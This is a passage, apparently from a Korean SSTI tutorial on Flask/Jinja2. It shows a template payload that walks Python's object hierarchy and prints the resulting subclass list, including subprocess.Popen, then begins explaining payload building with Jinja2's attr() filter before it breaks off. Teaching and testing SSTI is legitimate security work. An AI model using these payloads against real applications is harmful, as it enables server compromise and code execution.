          {{ ''.__class__.__mro__[1].__subclasses__() }}
          # [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'nt.ScandirIterator'>, <class 'nt.DirEntry'>, <class 'PyHKEY'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'types.GenericAlias'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class 'os._AddedDllDirectory'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'MultibyteCodec'>, <class 'MultibyteIncrementalEncoder'>, <class 'MultibyteIncrementalDecoder'>, <class 'MultibyteStreamReader'>, <class 'MultibyteStreamWriter'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'typing._Final'>, <class 'typing._Immutable'>, <class 'typing.Generic'>, <class 'typing._TypingEmpty'>, <class 'typing._TypingEllipsis'>, <class 'typing.Annotated'>, <class 'typing.NamedTuple'>, <class 'typing.TypedDict'>, <class 'typing.io'>, <class 'typing.re'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'runpy._TempModule'>, <class 'runpy._ModifiedArgv0'>, <class '__future__._Feature'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'ast.AST'>, <class 'ast.NodeVisitor'>, <class 'dis.Bytecode'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'debugpy.common.json.JsonObject'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class '_queue.SimpleQueue'>, <class 'queue.Queue'>, <class 'queue._PySimpleQueue'>, <class '_winapi.Overlapped'>, <class 'subprocess.STARTUPINFO'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'platform._Processor'>, <class '_struct.Struct'>, <class '_struct.unpack_iterator'>, <class 'unicodedata.UCD'>, <class '_pydevd_bundle.pydevd_constants.DebugInfoHolder'>, <class '_pydevd_bundle.pydevd_vm_type.PydevdVmType'>, <class '_pydev_imps._pydev_saved_modules.VerifyShadowedImport'>, <class 'selectors.BaseSelector'>, <class '_socket.socket'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'datetime.date'>, <class 'datetime.time'>, <class 'datetime.timedelta'>, <class 'datetime.tzinfo'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class '_random.Random'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'pyexpat.xmlparser'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class 'gzip._PaddedFile'>, <class 'xmlrpc.client.DateTime'>, <class 'xmlrpc.client.Binary'>, <class 'xmlrpc.client.ExpatParser'>, <class 'xmlrpc.client.Marshaller'>, <class 'xmlrpc.client.Unmarshaller'>, <class 'xmlrpc.client._MultiCallMethod'>, <class 'xmlrpc.client.MultiCallIterator'>, <class 'xmlrpc.client.MultiCall'>, <class 'xmlrpc.client._Method'>, <class 'xmlrpc.client.Transport'>, <class 'xmlrpc.client.ServerProxy'>, <class 'mimetypes.MimeTypes'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class 'socketserver.BaseServer'>, <class 'socketserver._NoThreads'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'pydoc.Doc'>, <class 'pydoc.Helper'>, <class 'pydoc.ModuleScanner'>, <class 'xmlrpc.server.SimpleXMLRPCDispatcher'>, <class 'xmlrpc.server.XMLRPCDocGenerator'>, <class '_pydevd_bundle.pydevd_constants.ForkSafeLock'>, <class '_pydevd_bundle.pydevd_constants.Null'>, <class '_pydevd_bundle.pydevd_constants.KeyifyList'>, <class '_pydevd_bundle.pydevd_constants._GlobalSettings'>, <class '_pydevd_bundle.pydevd_constants.GlobalDebuggerHolder'>, <class 'zipfile.ZipInfo'>, <class 'zipfile.LZMACompressor'>, <class 'zipfile.LZMADecompressor'>, <class 'zipfile._SharedFile'>, <class 'zipfile._Tellable'>, <class 'zipfile.ZipFile'>, <class 'zipfile.Path'>, <class 'plistlib.UID'>, <class 'plistlib._PlistParser'>, <class 'plistlib._DumbXMLWriter'>, <class 'plistlib._BinaryPlistParser'>, <class 'plistlib._BinaryPlistWriter'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class 'textwrap.TextWrapper'>, <class 'pkg_resources.extern.VendorImporter'>, <class 'pkg_resources._vendor.appdirs.AppDirs'>, <class 'PyHANDLE'>, <class 'PyOVERLAPPED'>, <class 'PyDEVMODEA'>, <class 'PyDEVMODEW'>, <class 'PyWAVEFORMATEX'>, <class 'PyIID'>, <class 'PySECURITY_DESCRIPTOR'>, <class 'PySECURITY_ATTRIBUTES'>, <class 'PySID'>, <class 'PyACL'>, <class 'PyDISPLAY_DEVICE'>, <class 'interface-type'>, <class 'PyOleEmpty'>, <class 'PyOleMissing'>, <class 'ArgNotFound'>, <class 'PyOleNothing'>, <class 'PyFUNCDESC'>, <class 'PySTGMEDIUM'>, <class 'PyTYPEATTR'>, <class 'PyVARDESC'>, <class 'com_record'>, <class 'pkg_resources.extern.packaging._structures.InfinityType'>, <class 'pkg_resources.extern.packaging._structures.NegativeInfinityType'>, <class 'pkg_resources.extern.packaging.version._BaseVersion'>, <class 'pkg_resources.extern.packaging.specifiers.BaseSpecifier'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'pkg_resources._vendor.pyparsing._Constants'>, <class 'pkg_resources._vendor.pyparsing._ParseResultsWithOffset'>, <class 'pkg_resources._vendor.pyparsing.ParseResults'>, <class 'pkg_resources._vendor.pyparsing.ParserElement._UnboundedCache'>, <class 'pkg_resources._vendor.pyparsing.ParserElement._FifoCache'>, <class 'pkg_resources._vendor.pyparsing.ParserElement'>, <class 'pkg_resources._vendor.pyparsing._NullToken'>, <class 'pkg_resources._vendor.pyparsing.OnlyOnce'>, <class 'pkg_resources._vendor.pyparsing.pyparsing_common'>, <class 'pkg_resources.extern.packaging.markers.Node'>, <class 'pkg_resources.extern.packaging.markers.Undefined'>, <class 'pkg_resources.extern.packaging.markers.Marker'>, <class 'pkg_resources.extern.packaging.requirements.Requirement'>, <class 'pkg_resources.IMetadataProvider'>, <class 'pkg_resources.WorkingSet'>, <class 'pkg_resources.Environment'>, <class 'pkg_resources.ResourceManager'>, <class 'pkg_resources.NullProvider'>, <class 'pkg_resources.NoDists'>, <class 'pkg_resources.EntryPoint'>, <class 'pkg_resources.Distribution'>, <class '_pydev_bundle.pydev_log._LoggingGlobals'>, <class 'CArgObject'>, <class '_ctypes.CThunkObject'>, <class '_ctypes._CData'>, <class '_ctypes.CField'>, <class '_ctypes.DictRemover'>, <class '_ctypes.StructParam_Type'>, <class 'ctypes.CDLL'>, <class 'ctypes.LibraryLoader'>, <class '_pydevd_bundle.pydevd_extension_utils.ExtensionManager'>, <class '_pydevd_bundle.pydevd_frame_utils.Frame'>, <class '_pydevd_bundle.pydevd_frame_utils.FCode'>, <class '_pydevd_bundle.pydevd_frame_utils.FramesList'>, <class '_pydevd_bundle.pydevd_frame_utils._DummyFrameWrapper'>, <class '_pydevd_bundle.pydevd_filtering.FilesFiltering'>, <class '_pydevd_bundle.pydevd_io.IORedirector'>, <class '_pydevd_bundle.pydevd_io.RedirectToPyDBIoMessages'>, <class '_pydevd_bundle.pydevd_io.IOBuf'>, <class '_pydevd_bundle.pydevd_io._RedirectInfo'>, <class '_pydevd_bundle.pydevd_io._RedirectionsHolder'>, <class '_pydevd_bundle.pydevd_utils.ScopeRequest'>, <class '_pydevd_bundle.pydevd_utils.DAPGrouper'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class '_pickle.Pickler'>, <class '_pickle.Unpickler'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class '_pydevd_bundle.pydevd_safe_repr.SafeRepr'>, <class '_pydevd_bundle.pydevd_resolver.DefaultResolver'>, <class '_pydevd_bundle.pydevd_resolver.DAPGrouperResolver'>, <class '_pydevd_bundle.pydevd_resolver.DictResolver'>, <class '_pydevd_bundle.pydevd_resolver.TupleResolver'>, <class '_pydevd_bundle.pydevd_resolver.SetResolver'>, <class '_pydevd_bundle.pydevd_resolver.InstanceResolver'>, <class '_pydevd_bundle.pydevd_resolver.JyArrayResolver'>, <class '_pydevd_bundle.pydevd_resolver.FrameResolver'>, <class '_pydevd_bundle.pydevd_resolver.InspectStub'>, <class '_pydevd_bundle.pydevd_extension_api._AbstractResolver'>, <class '_pydevd_bundle.pydevd_extension_api._AbstractProvider'>, <class '_pydevd_bundle.pydevd_extension_api.DebuggerEventHandler'>, <class '_pydevd_bundle.pydevd_xml.ExceptionOnEvaluate'>, <class '_pydevd_bundle.pydevd_xml.TypeResolveHandler'>, <class '_pydevd_bundle.pydevd_cython.PyDBAdditionalThreadInfo'>, <class '_pydevd_bundle.pydevd_cython._TryExceptContainerObj'>, <class '_pydevd_bundle.pydevd_cython.PyDBFrame'>, <class '_pydevd_bundle.pydevd_cython.SafeCallWrapper'>, <class '_pydevd_bundle.pydevd_cython.TopLevelThreadTracerOnlyUnhandledExceptions'>, <class '_pydevd_bundle.pydevd_cython.TopLevelThreadTracerNoBackFrame'>, <class '_pydevd_bundle.pydevd_cython.ThreadTracer'>, <class '_pydevd_frame_eval.vendored.bytecode.instr.SetLineno'>, <class '_pydevd_frame_eval.vendored.bytecode.instr.Label'>, <class '_pydevd_frame_eval.vendored.bytecode.instr._Variable'>, <class '_pydevd_frame_eval.vendored.bytecode.instr.Instr'>, <class '_pydevd_frame_eval.vendored.bytecode.bytecode.BaseBytecode'>, <class '_pydevd_frame_eval.vendored.bytecode.concrete._ConvertBytecodeToConcrete'>, <class '_pydevd_bundle.pydevd_bytecode_utils.Target'>, <class '_pydevd_bundle.pydevd_bytecode_utils._TargetIdHashable'>, <class '_pydevd_bundle.pydevd_bytecode_utils._StackInterpreter'>, <class '_pydevd_bundle.pydevd_bytecode_utils.Variant'>, <class '_pydevd_bundle.pydevd_defaults.PydevdCustomization'>, <class 'pathlib._Flavour'>, <class 'pathlib._Accessor'>, <class 'pathlib._Selector'>, <class 'pathlib._TerminatingSelector'>, <class 'pathlib.PurePath'>, <class '_pydev_bundle.pydev_monkey._NewThreadStartupWithTrace'>, <class '_pydev_bundle.pydev_monkey._NewThreadStartupWithoutTrace'>, <class 'pydevd_tracing.TracingFunctionHolder'>, <class '_pydevd_bundle.pydevd_timeout._OnTimeoutHandle'>, <class '_pydevd_bundle.pydevd_timeout.TimeoutTracker'>, <class '_pydev_bundle.pydev_console_utils.BaseStdIn'>, <class '_pydev_bundle.pydev_console_utils.CodeFragment'>, <class '_pydev_bundle.pydev_console_utils.BaseInterpreterInterface'>, <class '_pydev_bundle.pydev_console_utils.FakeFrame'>, <class '_pydevd_bundle.pydevd_breakpoints.ExceptionBreakpoint'>, <class '_pydevd_bundle.pydevd_breakpoints.LineBreakpoint'>, <class '_pydevd_bundle.pydevd_breakpoints.FunctionBreakpoint'>, <class '_pydevd_bundle.pydevd_custom_frames.CustomFramesContainer'>, <class '_pydevd_bundle.pydevd_custom_frames.CustomFrame'>, <class '_pydevd_bundle.pydevd_net_command._BaseNetCommand'>, <class 'pydevconsole.Command'>, <class '_pydev_bundle.pydev_umd.UserModuleDeleter'>, <class 'pydevconsole._ProcessExecQueueHelper'>, <class '_pydev_bundle._pydev_completer._StartsWithFilter'>, <class '_pydev_bundle._pydev_completer.Completer'>, <class '_pydevd_bundle.pydevd_net_command_factory_xml.NetCommandFactory'>, <class '_pydevd_bundle.pydevd_frame._TryExceptContainerObj'>, <class '_pydevd_bundle.pydevd_frame.PyDBFrame'>, <class '_pydevd_bundle.pydevd_additional_thread_info_regular.PyDBAdditionalThreadInfo'>, <class '_pydevd_bundle.pydevd_source_mapping.SourceMappingEntry'>, <class '_pydevd_bundle.pydevd_source_mapping.SourceMapping'>, <class 'pydevd_concurrency_analyser.pydevd_thread_wrappers.ObjectWrapper'>, <class 'pydevd_concurrency_analyser.pydevd_concurrency_logger.ThreadingLogger'>, <class 'pydevd_concurrency_analyser.pydevd_concurrency_logger.NameManager'>, <class 'pydevd_concurrency_analyser.pydevd_concurrency_logger.AsyncioLogger'>, <class '_pydevd_bundle._debug_adapter.pydevd_base_schema.BaseSchema'>, <class '_pydevd_bundle.pydevd_reload.Reload'>, <class '_pydev_bundle.fsnotify._SingleVisitInfo'>, <class '_pydev_bundle.fsnotify._PathWatcher'>, <class '_pydev_bundle.fsnotify.Watcher'>, <class '_pydevd_bundle.pydevd_console.ConsoleMessage'>, <class '_pydevd_bundle.pydevd_console.InteractiveConsoleCache'>, <class '_pydevd_bundle.pydevd_comm.InternalThreadCommand'>, <class '_pydevd_bundle.pydevd_net_command_factory_json.ModulesManager'>, <class '_pydevd_bundle.pydevd_collect_bytecode_info.TryExceptInfo'>, <class '_pydevd_bundle.pydevd_collect_bytecode_info.ReturnInfo'>, <class '_pydevd_bundle.pydevd_collect_bytecode_info._TargetInfo'>, <class '_pydevd_bundle.pydevd_collect_bytecode_info._MsgPart'>, <class '_pydevd_bundle.pydevd_collect_bytecode_info._Disassembler'>, <class '_pydevd_bundle.pydevd_api.PyDevdAPI.VariablePresentation'>, <class '_pydevd_bundle.pydevd_api.PyDevdAPI._DummyFrame._DummyCode'>, <class '_pydevd_bundle.pydevd_api.PyDevdAPI._DummyFrame'>, <class '_pydevd_bundle.pydevd_api.PyDevdAPI._AddBreakpointResult'>, <class '_pydevd_bundle.pydevd_api.PyDevdAPI'>, <class '_pydevd_bundle.pydevd_json_debug_options.DebugOptions'>, <class '_pydevd_bundle.pydevd_process_net_command_json.IDMap'>, <class '_pydevd_bundle.pydevd_process_net_command_json.PyDevJsonCommandProcessor'>, <class '_pydevd_bundle.pydevd_traceproperty.DebugProperty'>, <class '_pydevd_bundle.pydevd_process_net_command._PyDevCommandProcessor'>, <class '_pydevd_bundle.pydevd_suspended_frames._AbstractVariable'>, <class '_pydevd_bundle.pydevd_suspended_frames._FramesTracker'>, <class '_pydevd_bundle.pydevd_suspended_frames.SuspendedFramesManager'>, <class 'pydevd_plugins.django_debug.DjangoTemplateFrame'>, <class 'pydevd_plugins.django_debug.DjangoTemplateSyntaxErrorFrame'>, <class 'pydevd_plugins.jinja2_debug.Jinja2TemplateFrame'>, <class 'pydevd_plugins.jinja2_debug.Jinja2TemplateSyntaxErrorFrame'>, <class '_pydevd_bundle.pydevd_plugin_utils.PluginManager'>, <class 'pydevd.AbstractSingleNotificationBehavior'>, <class 'pydevd._Authentication'>, <class 'pydevd.PyDB'>, <class 'pydevd.IDAPMessagesListener'>, <class 'pydevd.Dispatcher'>, <class 'pydevd.SetupHolder'>, <class 'pydevd_plugins.extensions.types.pydevd_plugin_numpy_types.NdArrayResolver'>, <class 'pydevd_plugins.extensions.types.pydevd_plugin_numpy_types.NdArrayItemsContainer'>, <class 'pydevd_plugins.extensions.types.pydevd_plugin_numpy_types.NDArrayTypeResolveProvider'>, <class 'pydevd_plugins.extensions.types.pydevd_plugins_django_form_str.DjangoFormStr'>, <class 'debugpy.common.util.Observable'>, <class 'debugpy.common.log.LogFile'>, <class 'debugpy.common.log.NoLog'>, <class 'debugpy.server.cli.Options'>, <class 'pydevd.PyDB.init_matplotlib_support.<locals>._MatplotlibHelper'>, <class 'pydev_ipython.inputhook.InputHookManager'>, <class '_pydev_bundle.pydev_monkey.patch_thread_module.<locals>.ClassWithPydevStartNewThread'>, <class '_pydev_bundle.pydev_monkey.patch_thread_module.<locals>.ClassWithPydevStartNewThread'>, <class 'markupsafe._MarkupEscapeHelper'>, <class '_hashlib.HASH'>, <class '_hashlib.HMAC'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug._internal._DictAccessorProperty'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click._winconsole.ConsoleStream'>, <class 'click._winconsole.WindowsChunkedWriter'>, <class 'colorama.ansi.AnsiCodes'>, <class 'colorama.ansi.AnsiCursor'>, <class 'colorama.winterm.WinColor'>, <class 'colorama.winterm.WinStyle'>, <class 'colorama.winterm.WinTerm'>, <class 'colorama.ansitowin32.StreamWrapper'>, <class 'colorama.ansitowin32.AnsiToWin32'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.types.ParamType'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'werkzeug.serving.ForkingMixIn'>, <class 'werkzeug.serving.WSGIRequestHandler'>, <class 'werkzeug.serving._SSLContext'>, <class 'werkzeug.serving.BaseWSGIServer'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class 'werkzeug.wrappers.base_response.BaseResponse'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.cors.CORSRequestMixin'>, <class 'werkzeug.wrappers.cors.CORSResponseMixin'>, <class 'werkzeug.useragents.UserAgentParser'>, <class 'werkzeug.useragents.UserAgent'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>, <class 'http.cookiejar.CookieJar'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'uuid.UUID'>, <class 'itsdangerous._json._CompactJSON'>, <class 'hmac.HMAC'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>, <class 'flask._compat._DeprecatedBool'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local.LocalProxy'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'werkzeug.wrappers.json._JSONModule'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>]
        

    • attr() 함수를 이용한 페이로드 작성

      먼저 attr 함수는 Jinja2에서 사용할 수 있는 내장함수인데 아래에 있는 공식 문서 링크에 나와있는 것 처럼

      Jinja2 attr function

